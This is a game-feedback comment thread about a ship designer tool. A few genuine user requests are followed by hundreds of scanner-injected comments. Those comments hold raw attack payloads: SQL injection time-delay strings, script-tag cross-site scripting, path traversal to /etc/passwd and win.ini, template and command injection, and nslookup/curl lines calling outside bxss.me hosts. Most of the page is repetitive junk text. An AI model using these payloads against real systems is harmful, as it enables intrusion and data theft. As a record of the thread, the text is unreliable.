Feedback

Designer by Anonymous - 155 months ago

I love the game but I think the designer option needs a bit of editing.
For one it could use an undo option.

• Erik

  We agree! The designer needs some improvements, and we'll see to that!

• Aegis

  When using the designer, Instead of linking to the latest node and the first node, it randomly picks a different one.

• ralphmerridew

  Instructions for designer, please? (Is it possible to place cannons so they don't face straight forward?)

• Mud$lide

  Agreed Designer needs improvement, and instructions.

• Northernspy

  It is possible to make cannons face another direction, just highlight (if you click and drag on the page, it creates a rectangle that you can use to highlight points), then a rotation option will come up. Drag it in the desired direction.

• SimiIV

  I Agree.

• hihi

  I don't even know how to operate it

• SiteDestroyer3

  THE DESIGNER NEEDS SYMMETRY!!!!!!!!!!!!!!

• SiteDestroyer3

  a

• SiteDestroyer3

  a

• mhmhleafs

  Need to fix problem where i click thruster accidentaly and it's foating way outside the ship.

• Nonogamer02

  i need really help!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

• grant

  erik i think that the designer needs new weapons please i stopped paying becuase of this please add those features if possible

• Random person1

  http://kickassapp.com/designer/262090 is this good?

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1Cpgoz2FEEO

• 1DmcKrtlM2O

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• Anonymous

  1

• WfxYANoW

  ${9999577+9999686}

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  response.write(9715778*9622248)

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  '+response.write(9715778*9622248)+'

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  "+response.write(9715778*9622248)+"

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• ${9999727+9999570}

  1

• WfxYANoW

  /etc/shells

• response.write(9761610*9989469)

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  echo oubiqz$()\ jnzkox\nz^xyu||a #' &echo oubiqz$()\ jnzkox\nz^xyu||a #|" &echo oubiqz$()\ jnzkox\nz^xyu||a #

• '+response.write(9761610*9989469)+'

  1

• WfxYANoW

  c:/windows/win.ini

• "+response.write(9761610*9989469)+"

  1

• WfxYANoW

  &echo uophxr$()\ lknrrx\nz^xyu||a #' &echo uophxr$()\ lknrrx\nz^xyu||a #|" &echo uophxr$()\ lknrrx\nz^xyu||a #

• WfxYANoW

  LIJjarPP

• WfxYANoW

  1&echo hldsen$()\ iedisc\nz^xyu||a #' &echo hldsen$()\ iedisc\nz^xyu||a #|" &echo hldsen$()\ iedisc\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  bxss.me

• WfxYANoW

  xxcwQqvh: UMNOIWx5

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1&n991455=v988224

• QXJhRmNqZnA=

  1

• IfQDhbzs

  1

• WfxYANoW

  )

• WfxYANoW

  !(()&&!|*|*|

• 6tTP6SRn: Vxi3sTQZ

  1

• WfxYANoW

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  |echo opudqi$()\ fxfyhu\nz^xyu||a #' |echo opudqi$()\ fxfyhu\nz^xyu||a #|" |echo opudqi$()\ fxfyhu\nz^xyu||a #

• WfxYANoW

  ../1

• )

  1

• WfxYANoW&n913202=v910458

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  1|echo hxppkn$()\ ydvdqn\nz^xyu||a #' |echo hxppkn$()\ ydvdqn\nz^xyu||a #|" |echo hxppkn$()\ ydvdqn\nz^xyu||a #

• WfxYANoW

  1

• Http://bxss.me/t/fit.txt

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  (nslookup -q=cname hitgtpscnqcjtc08cc.bxss.me||curl hitgtpscnqcjtc08cc.bxss.me))

• WfxYANoW

  '.gethostbyname(lc('hitir'.'xysxxibj3efb4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(80).chr(116).chr(80).'

• WfxYANoW

  $(nslookup -q=cname hitgvjsugtldg32b7a.bxss.me||curl hitgvjsugtldg32b7a.bxss.me)

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ".gethostbyname(lc("hitcu"."xoyuxucccf566.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(75).chr(106).chr(87)."

• WfxYANoW

  1

• WfxYANoW

  gethostbyname(lc('hitqn'.'yptiqrja415ec.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(82).chr(122).chr(90)

• WfxYANoW

  '"()

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  ';print(md5(31337));$a='

• /etc/shells

  1

• WfxYANoW

  ";print(md5(31337));$a="

• file:///etc/passwd

  1

• WfxYANoW

  &nslookup -q=cname hitbnnoiauaok1c82c.bxss.me&'\"`0&nslookup -q=cname hitbnnoiauaok1c82c.bxss.me&`'

• WfxYANoW

  1

• WfxYANoW

  1'&&sleep(27*1000)*hcfbix&&'

• c:/windows/win.ini

  1

• WfxYANoW

  1"&&sleep(27*1000)*qlqewx&&"

• ../WfxYANoW

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*ytynfo||'

• WfxYANoW

  1"||sleep(27*1000)*xqkqxl||"

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  &(nslookup -q=cname hitacyualvtjt3645e.bxss.me||curl hitacyualvtjt3645e.bxss.me)&'\"`0&(nslookup -q=cname hitacyualvtjt3645e.bxss.me||curl hitacyualvtjt3645e.bxss.me)&`'

• WfxYANoW

  1'"()&%<zzz><ScRiPt >mk1L(9275)</ScRiPt>

• WfxYANoW

  '"

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  |(nslookup -q=cname hitohprzpsajk63b93.bxss.me||curl hitohprzpsajk63b93.bxss.me)

• xfs.bxss.me

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >mk1L(9311)</ScRiPt>

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  <!--

• '"

  1

• WfxYANoW

  19897919

• ';print(md5(31337));$a='

  1

• WfxYANoW

  `(nslookup -q=cname hitjnkrwjwelq4900f.bxss.me||curl hitjnkrwjwelq4900f.bxss.me)`

• WfxYANoW

  bxss.me/t/xss.html?%00

• <!--

  1

• ";print(md5(31337));$a="

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  ;(nslookup -q=cname hitiqonzhxwnu42fe8.bxss.me||curl hitiqonzhxwnu42fe8.bxss.me)|(nslookup -q=cname hitiqonzhxwnu42fe8.bxss.me||curl hitiqonzhxwnu42fe8.bxss.me)&(nslookup -q=cname hitiqonzhxwnu42fe8.bxss.me||curl hitiqonzhxwnu42fe8.bxss.me)

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(110).concat(67).concat(110).concat(82)+(require"socket" Socket.gethostbyname("hithi"+"pnkyllaq20ecc.bxss.me.")[3].to_s)+"

• ${@print(md5(31337))}

  1

• WfxYANoW

  bfg10823＜s1﹥s2ʺs3ʹhjl10823

• WfxYANoW

  comment

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitgupavrwbum8e3a9.bxss.me||curl${IFS}hitgupavrwbum8e3a9.bxss.me)

• WfxYANoW

  1

• ${@print(md5(31337))}\

  1

• WfxYANoW

  comment/.

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitgczdnkdkvx9903e.bxss.me||curl${IFS}hitgczdnkdkvx9903e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitgczdnkdkvx9903e.bxss.me||curl${IFS}hitgczdnkdkvx9903e.bxss.me)&`'

• comment

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(112).concat(66).concat(122).concat(82)+(require'socket' Socket.gethostbyname('hitpu'+'evjvlipzf625b.bxss.me.')[3].to_s)+'

• comment

  1

• '"()

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(100).concat(66).concat(115).concat(82)+(require'socket' Socket.gethostbyname('hitpo'+'isqjnbia49595.bxss.me.')[3].to_s)

• comment/.

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW'&&sleep(27*1000)*pabddj&&'

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW"&&sleep(27*1000)*ponuth&&"

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW'||sleep(27*1000)*rqzxgq||'

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW"||sleep(27*1000)*hdgsgx||"

  1

• WfxYANoW

  1

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >mk1L(9607)</ScRiPt>

• WfxYANoW

  1<W0IXRG>RCAHS[!+!]</W0IXRG>

• WfxYANoW

  1<script>mk1L(9993)</script>

• WfxYANoW

  1<script>mk1L(9433)</script>9433

• WfxYANoW

  1<ScR<ScRiPt>IpT>mk1L(9549)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >mk1L(9304)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9566></ScRiPt>

• WfxYANoW

  1<ScRiPt >mk1L(9495)</ScRiPt>

• WfxYANoW

  11xg6UmFC

• WfxYANoW

  1<isindex type=image src=1 onerror=mk1L(9287)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9036'>

• WfxYANoW

  1<body onload=mk1L(9812)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=mk1L(9432)>

• WfxYANoW

  1<img src=xyz OnErRor=mk1L(9978)>

• WfxYANoW

  1<img/src=">" onerror=alert(9494)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%6D%6B%31%4C%289355%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+887-887-1=0+0+0+1 --

• WfxYANoW

  1\u003CScRiPt\mk1L(9889)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;mk1L(9406)&lt;/sCripT&gt;

• WfxYANoW

  -1 OR 2+669-669-1=0+0+0+1

• WfxYANoW

  -1' OR 2+641-641-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+743-743-1=0+0+0+1 or '7YdvtgOf'='

• WfxYANoW

  1<input autofocus onfocus=mk1L(9333)>

• WfxYANoW

  -1" OR 2+48-48-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(mk1L(9174))}

• WfxYANoW

  1Bmkf6 <ScRiPt >mk1L(9654)</ScRiPt>

• WfxYANoW

  1<WEFUJ4>FXBVR[!+!]</WEFUJ4>

• WfxYANoW

  1<ifRAme sRc=9865.com></IfRamE>

• WfxYANoW

  1<acGZhXV x=9454>

• WfxYANoW

  1<img sRc='http://attacker-9205/log.php?

• WfxYANoW

  1<ajt8iyW<

• WfxYANoW'"()&%<zzz><ScRiPt >mk1L(9297)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >mk1L(9316)</ScRiPt>

  1

• WfxYANoW9953313

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• bfg8613＜s1﹥s2ʺs3ʹhjl8613

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >mk1L(9292)</ScRiPt>

  1

• WfxYANoW<WBKV7T>M1JHV[!+!]</WBKV7T>

  1

• WfxYANoW<script>mk1L(9950)</script>

  1

• WfxYANoW<script>mk1L(9854)</script>9854

  1

• WfxYANoW<ScRiPt >mk1L(9241)</ScRiPt>

  1

• WfxYANoW<ScRiPt >mk1L(9236)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<body onload=mk1L(9590)>

  1

• WfxYANoW<img src=xyz OnErRor=mk1L(9902)>

  1

• WfxYANoW<img/src=">" onerror=alert(9907)>

  1

• WfxYANoW\u003CScRiPt\mk1L(9471)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;mk1L(9595)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=mk1L(9868)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(mk1L(9259))}

  1

• WfxYANoWrbGg5 <ScRiPt >mk1L(9427)</ScRiPt>

  1

• WfxYANoW<WVJTFM>LT3WT[!+!]</WVJTFM>

  1

• WfxYANoW<ifRAme sRc=9980.com></IfRamE>

  1

• WfxYANoW<aide0v4 x=9665>

  1

• WfxYANoW<img sRc='http://attacker-9819/log.php?

  1

• WfxYANoW<axoDixQ<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1R074b8MK'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 213=(SELECT 213 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 755=(SELECT 755 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 956=(SELECT 956 FROM PG_SLEEP(15))--

• WfxYANoW

  11g90ZIGO' OR 494=(SELECT 494 FROM PG_SLEEP(15))--

• WfxYANoW

  16xWL9Pmg') OR 343=(SELECT 343 FROM PG_SLEEP(15))--

• WfxYANoW

  1nCNiayzO')) OR 927=(SELECT 927 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@Rl34f

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWXI6SvBrd

  1

• WfxYANoW

  1

• -1 OR 2+339-339-1=0+0+0+1 --

  1

• -1 OR 2+281-281-1=0+0+0+1

  1

• -1' OR 2+489-489-1=0+0+0+1 --

  1

• -1' OR 2+973-973-1=0+0+0+1 or 'Ch5rAiWr'='

  1

• -1" OR 2+855-855-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWxKNhKwAR'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@UtF6w

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• ftroqryj

  1

• oaalcbjl

  response.write(9485414*9188919)

• oaalcbjl

  '+response.write(9485414*9188919)+'

• rgxkyfak

  1

• oaalcbjl

  "+response.write(9485414*9188919)+"

• rgxkyfak

  1

• response.write(9992842*9688798)

  1

• kseibsyf

  set|set&set

• rgxkyfak

  BMMxOlMH

• '+response.write(9992842*9688798)+'

  1

• kseibsyf

  $(nslookup eHN0jUlT)

• rgxkyfak

  -1 OR 2+844-844-1=0+0+0+1 --

• bshjrrak

  ooppFPvd

• xtptcops

  ../../../../../../../../../../etc/passwd

• "+response.write(9992842*9688798)+"

  1

• kseibsyf

  &nslookup ZiMtnZit&'\"`0&nslookup ZiMtnZit&`'

• rgxkyfak

  -1 OR 2+145-145-1=0+0+0+1

• hdQLbfo0

  1

• xtptcops

  ../../../../../../../../../../../../../../../proc/version

• aabgufcw

  1

• set|set&set

  1

• rgxkyfak

  -1' OR 2+347-347-1=0+0+0+1 --

• owppsmvw

  ${9999137+9999051}

• xtptcops

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• $(nslookup nNiEU2ew)

  1

• rgxkyfak

  -1' OR 2+386-386-1=0+0+0+1 or 'jb0l4D6x'='

• ${9999076+9999196}

  1

• xtptcops

  ../../../../../../../../../../etc/passwd.jpg

• &nslookup aNEn4X4A&'\"`0&nslookup aNEn4X4A&`'

  1

• rgxkyfak

  -1" OR 2+655-655-1=0+0+0+1 --

• ripkfngk

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• xtptcops

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• VThHUDJ4RWw=

  1

• rgxkyfak

  if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/

• ripkfngk

  1some_inexistent_file_with_long_name.jpg

• xtptcops

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• aabgufcw

  1

• xtxqwjrm

  1&n907581=v948724

• rgxkyfak

  (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

• jqeqyddn

  )

• ripkfngk

  Http://testasp.vulnweb.com/t/fit.txt

• xtptcops

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• Anonymous

  1

• rgxkyfak

  -1; waitfor delay '0:0:8' --

• jqeqyddn

  !(()&&!|*|*|

• ripkfngk

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• xtptcops

  /etc/passwd

• gmugvndb&n972985=v930403

  1

• rgxkyfak

  -1); waitfor delay '0:0:8' --

• jqeqyddn

  ^(#$!@#$)(()))******

• ripkfngk

  testasp.vulnweb.com

• xtptcops

  %2fetc%2fpasswd

• rgxkyfak

  1 waitfor delay '0:0:12' --

• )

  1

• xtptcops

  /.././.././.././.././.././.././.././../etc/./passwd%00

• vgfvsmjc

  ;print(md5(acunetix_wvs_security_test));

• rgxkyfak

  ds3pfW3F'; waitfor delay '0:0:12' --

• !(()&&!|*|*|

  1

• xtptcops

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• 1some_inexistent_file_with_long_name.jpg

  1

• krqwyooh

  '"()

• vgfvsmjc

  ';print(md5(acunetix_wvs_security_test));$a='

• rgxkyfak

  -1;select pg_sleep(12); --

• ^(#$!@#$)(()))******

  1

• xtptcops

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• Http://testasp.vulnweb.com/t/fit.txt

  1

• vgfvsmjc

  ";print(md5(acunetix_wvs_security_test));$a="

• rgxkyfak

  -1);select pg_sleep(4); --

• btfugpvx

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• '"()

  1

• vgfvsmjc

  ${@print(md5(acunetix_wvs_security_test))}

• rgxkyfak

  -1);select pg_sleep(0); --

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• xtptcops

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• testasp.vulnweb.com

  1

• nbcqdobk

  1

• vgfvsmjc

  ${@print(md5(acunetix_wvs_security_test))}\

• rgxkyfak

  -1));select pg_sleep(4); --

• oxffgchx

  http://hital7Tf1FQ27.bxss.me/

• xtptcops

  file:///etc/passwd

• fqrjjfcm

  1

• nbcqdobk

  comment

• ;print(md5(acunetix_wvs_security_test));

  1

• rgxkyfak

  -1));select pg_sleep(8); --

• http://hit2zAVqABzMG.bxss.me/

  1

• xtptcops

  /\../\../\../\../\../\../\../etc/passwd

• fqrjjfcm

  1'"

• hedwxrfu

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• nbcqdobk

  comment

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• rgxkyfak

  YlphJzhu';select pg_sleep(4); --

• xtptcops

  WEB-INF/web.xml

• ljdmmvfj

  /www.vulnweb.com

• fqrjjfcm

  \

• nbcqdobk

  comment/.

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• rgxkyfak

  ZnmLEdIf';select pg_sleep(12); --

• xtptcops

  /WEB-INF/web.xml

• /www.vulnweb.com

  1

• nbcqdobk

  1

• ndppkkjr

  '"

• ${@print(md5(acunetix_wvs_security_test))}

  1

• rgxkyfak

  6lZCMkHn');select pg_sleep(4); --

• xtptcops

  WEB-INF\web.xml

• rybniyiq

  1'"()&%<acx><ScRiPt >dyDB(9260)</ScRiPt>

• fqrjjfcm

  @@YpGhB

• comment

  1

• ndppkkjr

  <!--

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• rgxkyfak

  zy1l6zgL');select pg_sleep(12); --

• ../../../../../../../../../../etc/passwd

  1

• fqrjjfcm

  JyI=

• comment

  1

• '"

  1

• rgxkyfak

  AbLBrJkJ'));select pg_sleep(8); --

• rybniyiq

  '"()&%<acx><ScRiPt >dyDB(9069)</ScRiPt>

• comment/.

  1

• rgxkyfak

  1

• <!--

  1

• rgxkyfak

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• fqrjjfcm

  (select convert(int,CHAR(65)))

• rybniyiq

  1_9831

• y4aL1vJU

  1

• fqrjjfcm

  1

• -1 OR 2+16-16-1=0+0+0+1 --

  1

• 1'"

  1

• rybniyiq

  acu9781＜s1﹥s2ʺs3ʹuca9781

• -1 OR 2+893-893-1=0+0+0+1

  1

• \

  1

• -1' OR 2+671-671-1=0+0+0+1 --

  1

• -1' OR 2+206-206-1=0+0+0+1 or 'z0SJ8TxH'='

  1

• @@BHSte

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1" OR 2+479-479-1=0+0+0+1 --

  1

• JyI=

  1

• /etc/passwd

  1

• rybniyiq

  {{10000288*9999498}}

• %2fetc%2fpasswd

  1

• rybniyiq

  1<ScRiPt >dyDB(9197)</ScRiPt>

• 1 waitfor delay '0:0:16' --

  1

• (select convert(int,CHAR(65)))

  1

• qmpOSTMc'; waitfor delay '0:0:16' --

  1

• EUrmT9l0';select pg_sleep(16); --

  1

• rybniyiq

  1<WJUUSH>DTGPI[!+!]</WJUUSH>

• Pb2DFyJz');select pg_sleep(5); --

  1

• putcMn4v'));select pg_sleep(5); --

  1

• rybniyiq

  1<script>dyDB(9245)</script>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• rybniyiq

  1<ScR<ScRiPt>IpT>dyDB(9196)</sCr<ScRiPt>IpT>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• rybniyiq

  1<ScRiPt >dyDB(9157)</ScRiPt>

• WEB-INF\web.xml

  1

• rybniyiq

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9480></ScRiPt>

• rybniyiq

  1<ScRiPt >dyDB(9324)</ScRiPt>

• rybniyiq

  1<video><source onerror="javascript:dyDB(9666)">

• rybniyiq

  1<isindex type=image src=1 onerror=dyDB(9297)>

• rybniyiq

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9362'>

• rybniyiq

  1<body onload=dyDB(9744)>

• rybniyiq

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=dyDB(9690)>

• rybniyiq

  1<img src=xyz OnErRor=dyDB(9243)>

• rybniyiq

  1<img/src=">" onerror=alert(9420)>

• rybniyiq

  %31%3C%53%63%52%69%50%74%20%3E%64%79%44%42%289213%29%3C%2F%73%43%72%69%70%54%3E

• rybniyiq

  1\u003CScRiPt\dyDB(9540)\u003C/sCripT\u003E

• rybniyiq

  1&lt;ScRiPt&gt;dyDB(9100)&lt;/sCripT&gt;

• rybniyiq

  1<input autofocus onfocus=dyDB(9434)>

• rybniyiq

  <a HrEF=http://www.vulnweb.com></a>

• rybniyiq

  <a HrEF=jaVaScRiPT:>

• rybniyiq

  [url=http://www.vulnweb.com][/url]

• rybniyiq

  1<img<!-- --> src=x onerror=alert(9806);//><!-- -->

• rybniyiq

  1}body{acu:Expre/**/SSion(dyDB(9426))}

• rybniyiq

  1<% contenteditable onresize=dyDB(9095)>

• rybniyiq

  1_ujXmZ <ScRiPt >dyDB(9789)</ScRiPt>

• rybniyiq

  1<WAHWLE>ZQEUM[!+!]</WAHWLE>

• rybniyiq

  1<ifRAme sRc=9170.com></IfRamE>

• rybniyiq

  1<6Mf6hq x=9595>

• rybniyiq

  1<img sRc='http://attacker-9865/log.php?

• rybniyiq'"()&%<acx><ScRiPt >dyDB(9222)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >dyDB(9887)</ScRiPt>

  1

• rybniyiq_9707

  1

• acu8187＜s1﹥s2ʺs3ʹuca8187

  1

• {{9999063*9999487}}

  1

• rybniyiq<ScRiPt >dyDB(9815)</ScRiPt>

  1

• rybniyiq<WFU5CU>AKPKM[!+!]</WFU5CU>

  1

• rybniyiq<script>dyDB(9655)</script>

  1

• rybniyiq<ScRiPt >dyDB(9772)</ScRiPt>

  1

• rybniyiq<ScRiPt >dyDB(9367)</ScRiPt>

  1

• rybniyiq<body onload=dyDB(9942)>

  1

• rybniyiq<img src=xyz OnErRor=dyDB(9347)>

  1

• rybniyiq<img/src=">" onerror=alert(9917)>

  1

• rybniyiq\u003CScRiPt\dyDB(9844)\u003C/sCripT\u003E

  1

• rybniyiq&lt;ScRiPt&gt;dyDB(9237)&lt;/sCripT&gt;

  1

• rybniyiq<input autofocus onfocus=dyDB(9573)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• rybniyiq}body{acu:Expre/**/SSion(dyDB(9992))}

  1

• rybniyiq<% contenteditable onresize=dyDB(9172)>

  1

• rybniyiq_t5QAT <ScRiPt >dyDB(9305)</ScRiPt>

  1

• rybniyiq<W9PGWG>NEJ7H[!+!]</W9PGWG>

  1

• rybniyiq<ifRAme sRc=9602.com></IfRamE>

  1

• rybniyiq<97qxAt x=9805>

  1

• rybniyiq<img sRc='http://attacker-9752/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

